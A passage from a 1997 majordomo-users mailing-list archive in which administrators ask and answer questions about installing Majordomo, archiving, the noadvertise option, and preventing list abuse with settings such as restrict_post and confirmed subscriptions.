8.0.0.4008 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi everyone, I'm a newbie to Majordomo and I have probably encountered the same problems everyone else has. Today, I tried to install Majordomo on a sparc SUNW,Ultra-Enterprise, SunOS 5.5.1. I followed the instructions in the README, INSTALL and FAQ meticulously. When I install, everything works really fine, but things go wrong when I run the ./wrapper config-test. - I created a user "majordomo", a group "majordom" - I edited the Makefile and majordomo.cf - I suid and sgid the wrapper to majordomo:majordom - I ran make wrapper as user majordomo - I ran make install also as majordomo - I ran make install-wrapper as root - I adjusted the aliases files (we run Sendmail 8.8.5) - and then I ran ./wrapper config-test as an unprivileged user and I got the error message: "./wrapper: error: Not running with proper UID and GID. Make certain that wrapper is installed setuid, and if so, recompile with POSIX flags." But: I'm not on POSIX and SUID and SGID are OK for the wrapper. I wonder what is going wrong. I can't seem to find an answer in the FAQ, and I seem to have done everything right. Anybody can help me out? Anyone had the same problem? Many thanks in advance! -- Bruno Tersago Postmaster Planet Internet Belgium From owner-majordomo-users-outgoing Thu Jun 12 13:26:06 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA09302 for majordomo-users-outgoing; Thu, 12 Jun 1997 12:48:23 -0700 (PDT) Received: from eniac.vv.com (eniac.vv.com [206.27.96.12]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA09175 for ; Thu, 12 Jun 1997 12:47:52 -0700 (PDT) Received: from c64.vv.com (c64.vv.com [206.27.96.31]) by eniac.vv.com (8.8.3/8.7.1) with SMTP id PAA27141 for ; Thu, 12 Jun 1997 15:47:42 -0400 (EDT) Message-Id: <3.0.32.19970612154928.00688634@vv.com> X-Sender: andy@vv.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 12 Jun 1997 15:49:30 -0700 To: majordomo-users@GreatCircle.com From: Andy McDowell Subject: archiving Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I've been using MJ 1.94.1 for 2 months now with no problems. At least up until 3 weeks ago, when MJ stopped archiving. I've gone through the readme's and the FAQ, and the aliases are as described in the faq, but for some reason it just stopped archiving. Today I upgraded to 1.94.3 and patched the existing installation. Here is the archive line from the alias file: listname-archive: "|/usr/local/majordomo/wrapper archive2.pl -f /usr/local/majordomo/lists/listname-archive/listname -d -a" It's set to archive daily (it's a small list), which it did for 7 weeks. I've run the config-test, and it spits out that there's no problems. I'm using: MJ - 1.94.3 (now - was 1.94.1 when it stopped archiving) perl - 5.003 OS - FreeBSD Any help will be GREATLY appreciated. Andy From owner-majordomo-users-outgoing Thu Jun 12 13:42:50 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA16414 for majordomo-users-outgoing; Thu, 12 Jun 1997 13:27:11 -0700 (PDT) Received: from ciesin.org (mail.ciesin.org [160.39.8.11]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id NAA16357 for ; Thu, 12 Jun 1997 13:26:58 -0700 (PDT) Received: from mail.ciesin.org by ciesin.org (4.1/SMI-4.1) id AA13353; Thu, 12 Jun 97 16:28:14 EDT Message-Id: <9706122028.AA13353@ciesin.org> To: majordomo-users@GreatCircle.COM Subject: Re: Majordomo results: list abuse In-Reply-To: Your message of "Thu, 12 Jun 1997 11:07:46 PDT." <199706121807.LAA19213@honor.greatcircle.com> Date: Thu, 12 Jun 1997 16:28:14 -0400 From: Henk Meij Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk How does on eprevent list abuse? We're experiencing spammers subscribers non-exisatant email addresses and more importantly, non-subscribers posting to the list. We would like to keep our lists "open" but only allow for postings by subscribers. Removing the non-existant email addresses i snot that big a problem. -Henk From owner-majordomo-users-outgoing Thu Jun 12 14:26:43 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA20667 for majordomo-users-outgoing; Thu, 12 Jun 1997 13:52:05 -0700 (PDT) Received: from sparkie.osl.state.or.us (sparkie.osl.state.or.us [192.84.215.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id NAA20415 for ; Thu, 12 Jun 1997 13:51:11 -0700 (PDT) Received: (from chris@localhost) by sparkie.osl.state.or.us (8.6.9/8.6.9) id NAA15145; Thu, 12 Jun 1997 13:51:24 -0700 Date: Thu, 12 Jun 1997 13:51:24 -0700 (PDT) From: Christopher Adams To: majordomo-users@greatcircle.com Subject: Thanks to Dave Wolfe Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I would just like to say that the help that is given on this list is generally very good, but in this one instance (and probably many others) Dave Wolfe has gone out of his way to help me with a persistent patch problem. He was very prompt on my many follow-up questions and his help will make it easier for me to administer the Majordomo lists and files in the future. I think that in the long run, help like this minimizes the questions in the future. Assistance like this is good for all involved. Thanks to Dave and the others who are consistently offering good advice. Christopher Adams Automated Systems Oregon State Library chris@sparkie.osl.state.or.us From owner-majordomo-users-outgoing Thu Jun 12 14:40:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA24608 for majordomo-users-outgoing; Thu, 12 Jun 1997 14:15:02 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA24439 for ; Thu, 12 Jun 1997 14:14:18 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id RAA00560 for ; Thu, 12 Jun 1997 17:15:27 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id RAA31385; Thu, 12 Jun 1997 17:15:26 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: Majordomo results: list abuse References: <9706122028.AA13353@ciesin.org> X-No-Archive: yes Date: 12 Jun 1997 17:15:26 -0400 In-Reply-To: Henk Meij's message of "Thu, 12 Jun 1997 16:28:14 -0400" Message-ID: Lines: 38 X-Mailer: Gnus v5.4.56/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "HM" == Henk Meij writes: HM> How does on eprevent list abuse? * hiding of the list outgoing aliases, so that abusers cannot bypass resend. * restrict_post, to ensure that only those that are subscribed to the list can post. This is the one you want. * Making the list subscription closed so that the moderator must manually approve subscription requests. * Adding +confirm to list subscription policy to prevent rapid-fire subscription and unsubscription requests. I have also reached the point of using taboo_headers on certain sites due to a particular individual who's sole purpose seems to be disrupting one of my lists. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM6Bm7J6VRH7BJMxHAQHlHwP/bz/2QvHmdURNVClRpLf2XbtFfaE1Yk75 oO6Pwr3EJ8p1tGTtBxuDUTa8BHdnj107JzxpwsYBOOO5ldioKhI4daHYYB8W0g9m 86voFchGJaqs6pBfyQEctOtW2z/KAHz5lNZtWT2Leu5cGuPoT+j3I71Gq70LWgvr iuLSbtkVu00= =DNon -----END PGP SIGNATURE----- -- Rich Pieri | When not in use, Happy Fun Ball Prescient Technologies, Inc. | should be returned to its special A Stone & Webster Company | container and kept under I speak for myself, not PTI or SWEC | refrigeration. From owner-majordomo-users-outgoing Thu Jun 12 14:57:32 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA20005 for majordomo-users-outgoing; Thu, 12 Jun 1997 13:48:50 -0700 (PDT) Received: from mailbox.neosoft.com (mailbox.neosoft.com [206.109.1.16]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA19985 for ; Thu, 12 Jun 1997 13:48:40 -0700 (PDT) Received: from praline.no.neosoft.com (praline.no.NeoSoft.COM [206.27.160.253]) by mailbox.neosoft.com (8.8.4/8.8.3) with SMTP id PAA09909 for ; Thu, 12 Jun 1997 15:49:46 -0500 (CDT) Date: Thu, 12 Jun 1997 15:49:45 -0500 (CDT) From: Ray Jones Reply-To: Ray Jones cc: majordomo-users@GreatCircle.COM Subject: Re: Posting to own lists? In-Reply-To: <199706121522.KAA04607@peking.duc.auburn.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Thu, 12 Jun 1997, David Swanger wrote: > A few years ago I created a mailing list dedicated to sports > was too strict, so when I started the list basically I said > that within reason, I didn't care what people posted as long > as the majority of messages were AU sports-related. I said I I feel much the same. The most enjoyable lists I've been on during my many years had only rule: Don't aggravate the listowner. As long as the listowner uses reasonable prudence, I've never seen a problem with any lists I've been on or that I've managed. Granted, larger lists and those with topics which cause more disagreement among users would probably be harder to handle, but I've yet to have any problems. As others have pointed out, if I run the list, it is my list. I don't censor anything. If I feel someone is out of line, I tell them to stop. If they don't, they're gone. Simple. When you're in my house, you follow my rules. If you don't like it, go to someone else's house or go home. So far, I've only had one problem and that was with someone who wasn't even a list member. That's when I changed the list to a closed one. I've had no problems since. If people want to argue, I let them as long as it doesn't get out of hand. The main thing I don't like is when people start calling each other names, etc. > obnoxious. The list has a few thousand messages every month, > probably 75% of these messages are sports-related. There are > many "side" subjects that peripherally relate to sports: bbq, > religion, frats, politics. Normally, the list is a lot of > fun. Well, I think it's fun for Auburn (and maybe other > SEC) sports fans. Again, my list is much the same. It is much smaller only around 150. The number of posts varies from 1 to 100 depending on how close to Jazz Fest, Mardi Gras, or some other well known fesitival it is. Most of the members know one another in person, by e-mail or both as many people who visit New Orleans do so regularly. Most of the messages are about New Orleans, but one member used to post stuff about Disneyland a lot. As long as she didn't go overboard, who cares. The purpose of the list is to enjoy New Orleans and oneself. > Yes, I post messages to this list. Not every day, but I > usually post between 10 to 20 messages every month. Hey, I I post a lot more than that simply because people ask a lot of questions and I have a lot of answers. (grin) There are days when I post nothing. Other days, I may post 10 messages myself. > created the list because of a personal interest (also, several > people were begging for it), so sure, I post to the list. I I can't take credit for creating my list. It has been around for about as long as I've been on the net (17 years). The guy who had the list before me and ran it for years, finally lost interest. Many of the list members (myself included) didn't want to see it disappear. No one else volunteered so I did. I don't charge for the list, but the members often donate to defray expenses. Assuming no price increases, I have enough in donations this year to run it for the next year with a little left over. That doesn't pay for my access, but I'd be online anyway. It does cover the list, though which is only $10 a month. I could probably get it done for free somewhere, but I found I had more problems when I ran it on a free platform. > (p.s. for those of you wondering how sports nuts could get > side-tracked into religious and political debates, the Now, why would I wonder that? (grin) -- Regards, "Big Ray the Buggy Driver" Jones - Licensed Tour Guide ICQ UIN 1473313 Disseminating info about New Orleans & Louisiana via my web page at http://www.neosoft.com/~rayjones/welcome.html or you can join "Big Ray's" New Orleans Mailing List by sending: subscribe noml To: majordomo@communique.net From owner-majordomo-users-outgoing Thu Jun 12 16:12:03 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA03403 for majordomo-users-outgoing; Thu, 12 Jun 1997 15:04:36 -0700 (PDT) Received: from emout12.mail.aol.com (emout12.mx.aol.com [198.81.11.38]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA03383 for ; Thu, 12 Jun 1997 15:04:29 -0700 (PDT) From: Aerobiguy@aol.com Received: (from root@localhost) by emout12.mail.aol.com (8.7.6/8.7.3/AOL-2.0.0) id SAA06081 for majordomo-users@greatcircle.com; Thu, 12 Jun 1997 18:05:46 -0400 (EDT) Date: Thu, 12 Jun 1997 18:05:46 -0400 (EDT) Message-ID: <970612180348_-1194592135@emout12.mail.aol.com> To: majordomo-users@greatcircle.com Subject: Re: people can post with out subscribing Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk In a message dated 97-06-12 16:41:31 EDT, todd@alpha2.com (Todd Fencl || Information Manager) writes: > I am hoping that someone can help me with this little problem. People can > send messages to any of my lists without being a member to _any_ of the > lists. I have gone through the ~.config files and could not find anything. > Can anyone give me a pointer at where I went astray?? restrict_post = urlistname:urlistname-digest Steve From owner-majordomo-users-outgoing Thu Jun 12 16:56:22 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA03616 for majordomo-users-outgoing; Thu, 12 Jun 1997 15:06:18 -0700 (PDT) Received: from ns.intelenet.net (intelenet.net [204.182.160.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA03594 for ; Thu, 12 Jun 1997 15:06:10 -0700 (PDT) Received: from cueball (cueball.intelenet.net [207.38.65.9]) by ns.intelenet.net (8.8.5/8.8.5) with SMTP id PAA07335 for ; Thu, 12 Jun 1997 15:07:26 -0700 (PDT) Message-ID: <33A0731B.6731@intelenet.net> Date: Thu, 12 Jun 1997 15:07:23 -0700 From: Bob Myers Organization: InteleNet Communications, Inc. X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4c) MIME-Version: 1.0 To: majordomo-users@GreatCircle.COM Subject: Re: Majordomo results: list abuse References: <9706122028.AA13353@ciesin.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Rich Pieri wrote: > > HM> How does one prevent list abuse? > > * hiding of the list outgoing aliases, so that abusers cannot bypass > resend. Is there any consensus on how to hide list outgoing aliases? The only way I've been able to come up with uses the sendmail 8.8 virtusertable function to hide "list-outgoing@list.host" but not "list-outgoing" without a domain name attached. This works ok for me since I was already using the virtusertable to run 2 separate installations of majordomo on my list host machine, but I was kind of wondering what other people did about this. Any other ideas? -- Bob Myers InteleNet Communications, Inc. Email: bob@InteleNet.net 18101 Von Karman Avenue, Suite 550 Phone: 714-851-8250 x227 Irvine, CA 92612 Fax: 714-851-1088 http://www.intelenet.net/ From owner-majordomo-users-outgoing Thu Jun 12 17:04:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA13273 for majordomo-users-outgoing; Thu, 12 Jun 1997 15:54:14 -0700 (PDT) Received: from ag.gov.bc.ca (ag.gov.bc.ca [142.36.113.27]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA13227 for ; Thu, 12 Jun 1997 15:54:02 -0700 (PDT) From: dewi.griffiths@ag.gov.bc.ca Received: from pcloc69 (pcloc69.ag.gov.bc.ca [142.36.113.69]) by ag.gov.bc.ca (8.8.5/8.8.5) with SMTP id PAA29431 for ; Thu, 12 Jun 1997 15:48:49 -0700 (PDT) Message-Id: <3.0.16.19970612155034.4a074f66@ag.gov.bc.ca> X-Sender: dewi.griffiths@ag.gov.bc.ca (Unverified) X-Mailer: Windows Eudora Pro Version 3.0 (16) Date: Thu, 12 Jun 1997 15:50:35 -0700 To: majordomo-users@GreatCircle.COM Subject: Hiding Lists - noadvertise Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >From reading the FAQ and searching the archives, I believe that list members should be able to see a list, from a lists command, even if the noadvertise is set to /.*/ This is NOT the case for our site and I would very much like it to work as indicated so people only get a limited list view. Am I mistaken in my belief that members should see a list no matter what, if I am in fact right, what could I be doing wrong to make the lists completely hidden to everyone?? SUNOS 5.4.1 MJ 1.94.1 Perl 5.003 Sendmail 8.8.5 Dewi Wyn Griffiths B.C. Ministry of the Attorney General. dewi.griffiths@ag.gov.bc.ca From owner-majordomo-users-outgoing Thu Jun 12 17:12:36 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA19299 for majordomo-users-outgoing; Thu, 12 Jun 1997 16:22:03 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA19123 for ; Thu, 12 Jun 1997 16:21:12 -0700 (PDT) Received: from mijcf.org ([206.117.127.11]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id PAA26952 for ; Thu, 12 Jun 1997 15:55:36 -0700 (PDT) Received: from mff.org (macsmtp [192.9.230.252]) by mijcf.org (8.7.4/8.7.3) with ESMTP id PAA03261 for ; Thu, 12 Jun 1997 15:35:52 -0700 (PDT) Received: from [192.9.230.209] by mff.org with ESMTP (Apple Internet Mail Server 1.1.2f2); Thu, 12 Jun 1997 14:55:49 -0100 X-Sender: jschroeder@192.9.230.252 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Thu, 12 Jun 1997 15:56:34 -0700 To: majordomo-users@GreatCircle.COM From: John Schroeder Subject: X-Authen warning/archiving Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Could someone point me to any more documentation regarding these two problems? This header gets returned with list mail X-Authentication-Warning: mevw.mff.org: mail set sender to owner-wylie@mevw.mff.org using -f Also, I'm having difficulty archiving - created list.archive and included the alias given in archive2.pl in my majordomo.aliases file mail goes to the list and is distributed but is not being archived. Thanks, John ********************************* Name: John Schroeder - Site Administrator Company: Milken Family Foundation Voice: 310-998-2832 Fax: 310-998-2838 mailto:jschroeder@mff.org URL: http://www.mff.org/ From owner-majordomo-users-outgoing Thu Jun 12 17:12:51 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA23244 for majordomo-users-outgoing; Thu, 12 Jun 1997 16:44:10 -0700 (PDT) Received: from eniac.vv.com (eniac.vv.com [206.27.96.12]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA23227 for ; Thu, 12 Jun 1997 16:44:02 -0700 (PDT) Received: from c64.vv.com (c64.vv.com [206.27.96.31]) by eniac.vv.com (8.8.3/8.7.1) with SMTP id TAA28907 for ; Thu, 12 Jun 1997 19:43:51 -0400 (EDT) Message-Id: <3.0.32.19970612194541.006c910c@vv.com> X-Sender: andy@vv.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 12 Jun 1997 19:45:42 -0700 To: majordomo-users@GreatCircle.com From: Andy McDowell Subject: Re: Thanks to Dave Wolfe Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 01:51 PM 6/12/97 -0700, you wrote: >I would just like to say that the help that is given on this list is >generally very good, but in this one instance (and probably many others) >Dave Wolfe has gone out of his way to help me with a persistent patch >problem. He was very prompt on my many follow-up questions and his help >will make it easier for me to administer the Majordomo lists and files in >the future. I think that in the long run, help like this minimizes the >questions in the future. Assistance like this is good for all involved. >Thanks to Dave and the others who are consistently offering good advice. > >Christopher Adams >Automated Systems >Oregon State Library >chris@sparkie.osl.state.or.us > > I agree with Christopher. I had a small problem with archiving, and it turned out to be that the sys admin broke the link in the aliases. I futzed around with it for 2 days before I posted to the list, and Dave had all my questions answered, and MJ running correctly within an hour of my post. Thanks again Dave. Andy McDowell From owner-majordomo-users-outgoing Thu Jun 12 17:26:10 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA28467 for majordomo-users-outgoing; Thu, 12 Jun 1997 17:22:34 -0700 (PDT) Received: from lists.tax.org (lists.tax.org [205.177.50.129]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id RAA28460 for ; Thu, 12 Jun 1997 17:22:23 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by lists.tax.org (8.8.5/8.8.5) with SMTP id UAA01576 for ; Thu, 12 Jun 1997 20:22:58 -0400 Date: Thu, 12 Jun 1997 20:22:58 -0400 (EDT) From: "Kendall P. Bullen" To: majordomo-users@greatcircle.com Subject: Re: Majordomo results: list abuse In-Reply-To: <33A0731B.6731@intelenet.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Thu, 12 Jun 1997, Bob Myers wrote: > Is there any consensus on how to hide list outgoing aliases? This comes up all the time. By "hiding," people typically mean 1. picking a non-obvious alias name (i.e., *not* 'list-outgoing'!) so it can't be guessed 2. tricks to keep it from showing up in the e-mail headers, so it can't be 'seen' #1 is a no-brainer. I'm pretty sure the documentation and/or FAQ discuss #2 in detail, but if not, search the majordomo-users mailing list archive at http://www.hpc.uh.edu/majordomo-users/ for something along the lines of 'hiding outgoing alias' (or whatever). Cheers, Kendall From owner-majordomo-users-outgoing Thu Jun 12 18:11:23 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA29772 for majordomo-users-outgoing; Thu, 12 Jun 1997 17:32:54 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id RAA29763 for ; Thu, 12 Jun 1997 17:32:49 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id TAA18692; Thu, 12 Jun 1997 19:34:17 -0500 (CDT) To: John Schroeder Cc: majordomo-users@GreatCircle.COM Subject: Re: X-Authen warning/archiving References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 12 Jun 1997 19:34:17 -0500 In-Reply-To: John Schroeder's message of Thu, 12 Jun 1997 15:56:34 -0700 Message-ID: Lines: 17 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "JS" == John Schroeder writes: JS> This header gets returned with list mail X-Authentication-Warning: JS> mevw.mff.org: mail set sender to owner-wylie@mevw.mff.org using -f The FAQ or even a cursory search of the archives would help. You need to make 'mail' a trusted user. Read up on the Sendmail docs (it depends on the version and how you're doing your configuration). JS> Also, I'm having difficulty archiving - created list.archive and JS> included the alias given in archive2.pl in my majordomo.aliases file JS> mail goes to the list and is distributed but is not being archived. I can't guess what you might have done since I don't know what your aliases looked like before. Why not just show us? - J< From owner-majordomo-users-outgoing Thu Jun 12 18:19:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA00723 for majordomo-users-outgoing; Thu, 12 Jun 1997 17:37:53 -0700 (PDT) Received: from ns1.wanfear.com (ns1.wanfear.com [207.212.57.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id RAA00716 for ; Thu, 12 Jun 1997 17:37:48 -0700 (PDT) Received: from ns1.wanfear.com (ns1.wanfear.com [207.212.57.1]) by ns1.wanfear.com (8.8.5/8.8.5) with SMTP id RAA03608 for ; Thu, 12 Jun 1997 17:38:32 -0700 Date: Thu, 12 Jun 1997 17:38:32 -0700 (PDT) From: Edward Roper To: majordomo-users@greatcircle.com Subject: Sudden Error? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I've had Majordomo running successfully for Sometime. I'm running RedHat Linux 4.1 Kernel 2.0.27. It has stopped working literally overnight. I don't know exactly what's going on, so if anyone has any ideas whatsoever, I would greatly appreciate it if you could drop a note my direction. The funny thing is that majordomo can add and remove users to and from these lists. However when one tries to send mail to ANY of my lists, the following error message results... Edward NOTE: even if I set the dir and list files world readable I get this error. What happened overnight to cause this? ----- The following addresses had permanent fatal errors ----- linux-help-list :include:/usr/local/bin/majordomo-1.94.1/lists/linux-help (expanded from: linux-help-list) ----- Transcript of session follows ----- 550 :include:/usr/local/bin/majordomo-1.94.1/lists/linux-help... Cannot open /usr/local/bin/majordomo-1.94.1/lists/linux-help: Permission denied 554 linux-help-list... aliasing/forwarding loop broken Message delivered to mailing list owner-linux-help@wanfear.com From owner-majordomo-users-outgoing Thu Jun 12 18:24:48 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA29466 for majordomo-users-outgoing; Thu, 12 Jun 1997 17:30:28 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id RAA29437 for ; Thu, 12 Jun 1997 17:30:18 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id TAA18663; Thu, 12 Jun 1997 19:31:41 -0500 (CDT) To: dewi.griffiths@ag.gov.bc.ca Cc: majordomo-users@GreatCircle.COM Subject: Re: Hiding Lists - noadvertise References: <3.0.16.19970612155034.4a074f66@ag.gov.bc.ca> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 12 Jun 1997 19:31:40 -0500 In-Reply-To: dewi.griffiths@ag.gov.bc.ca's message of Thu, 12 Jun 1997 15:50:35 -0700 Message-ID: Lines: 31 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "dg" == dewi griffiths writes: dg> From reading the FAQ and searching the archives, I believe that list dg> members should be able to see a list, from a lists command, even if the dg> noadvertise is set to /.*/ This is version dependent, unfortunately. There is some disagreement/confusion as to exactly how it's supposed to work. 1.93 showed lists to subscribers, 1.94.1 didn't, 1.94.3 does (I think). One of the nice things about Majordomo is that it's so easy to just make it do what you want, since you have the source. The only difference is this code in 'majordomo': $result = &is_list_member($reply_to, $listdir, $list) if ! $result; Take it out of you don't want subscribers to see unadvertised lists, put it in if you do [1]. Not doing the check can vastly speed up the lists command, BTW, if your lists are large. [1] right before this code: printf REPLY " %-23s %-.56s\n", $list, $config_opts{$list, 'description'} if $result; } else { Sorry, too lazy to cook up a patch from a clean 1.94.1. Let me know if anyone needs one. - J< From owner-majordomo-users-outgoing Thu Jun 12 18:58:18 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA13062 for majordomo-users-outgoing; Thu, 12 Jun 1997 18:53:04 -0700 (PDT) Received: from slacker.cu-online.com (slacker.cu-online.com [206.185.2.73]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id SAA13026 for ; Thu, 12 Jun 1997 18:52:55 -0700 (PDT) Received: from localhost (sarge@localhost) by slacker.cu-online.com (8.8.5/8.8.5) with SMTP id VAA24734 for ; Thu, 12 Jun 1997 21:00:00 -0500 (CDT) Date: Thu, 12 Jun 1997 20:59:59 -0500 (CDT) From: Sarge in Charge Reply-To: Sarge in Charge To: majordomo-users@greatcircle.com Subject: Problem Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I am using MJ 1.94.3 and I have had it to compile but when I send mail to it i get nothing back i send the mail to readyroom@slacker.cu-online.com where that is the name of one of the lists i created the majordomo is setup from the account sarge And nothing is happening. can someone tell me if I am doing wrong? ******************************************************************************* Officer White Badge# 908 Saying: You miss 100% of the chances, you never take!!!! ******************************************************************************* From owner-majordomo-users-outgoing Thu Jun 12 19:26:30 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id TAA17371 for majordomo-users-outgoing; Thu, 12 Jun 1997 19:22:10 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id TAA17115 for ; Thu, 12 Jun 1997 19:21:10 -0700 (PDT) Received: from punt-2.mail.demon.net (punt-2b.mail.demon.net [194.217.242.5]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with SMTP id TAA29569 for ; Thu, 12 Jun 1997 19:18:33 -0700 (PDT) Received: from nlawson.demon.co.uk ([158.152.239.177]) by punt-2.mail.demon.net id aa0613553; 12 Jun 97 21:42 BST Received: (from root@localhost) by nlawson.demon.co.uk (8.8.5/8.8.5) id VAA14572 for majordomo-users@greatcircle.com; Thu, 12 Jun 1997 21:11:58 +0100 Message-ID: X-Mailer: XFMail 1.1 [p0] on Linux Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Date: Thu, 12 Jun 1997 20:57:41 +0100 (BST) From: neil To: majordomo-users@greatcircle.com Subject: problems with majordomo 1.94-3 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk HELP!!!! im having real problems after upgrading my Redhat-Linux to 4.2 in getting majordomo to work. i've installed Perl 5.004, and i am running sendmail. i set a user majordom UID 502, GID 502 and set the UID and GID in the make file. and put majordom as a trusted user in sendmail. The wapper config-test says everything is ok. i get to the part of the installation echo 'lists' | mail majordomo, and the mail returns to the majordom mailbox, >From Majordomo-Owner@nlawson.demon.co.uk Thu Jun 12 20:50:18 1997 >Return-Path: >Received: (from majordom@localhost) > by nlawson.demon.co.uk (8.8.5/8.8.5) id UAA12936; > Thu, 12 Jun 1997 20:50:17 +0100 >Date: Thu, 12 Jun 1997 20:50:17 +0100 >Message-Id: <199706121950.UAA12936@nlawson.demon.co.uk> >To: neil@nlawson.demon.co.uk >From: Majordomo@nlawson.demon.co.uk >Subject: Majordomo results >Reply-To: Majordomo@nlawson.demon.co.uk this is the mail header as recieved by majordomo. Any ideas would be most welcome!!!! im running out of headache tablets many thanks neil ---------------------------------- E-Mail: neil Date: 12-Jun-97 Time: 20:57:42 This message was sent by XFMail ---------------------------------- From owner-majordomo-users-outgoing Thu Jun 12 21:57:51 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA19100 for majordomo-users-outgoing; Thu, 12 Jun 1997 21:52:03 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com 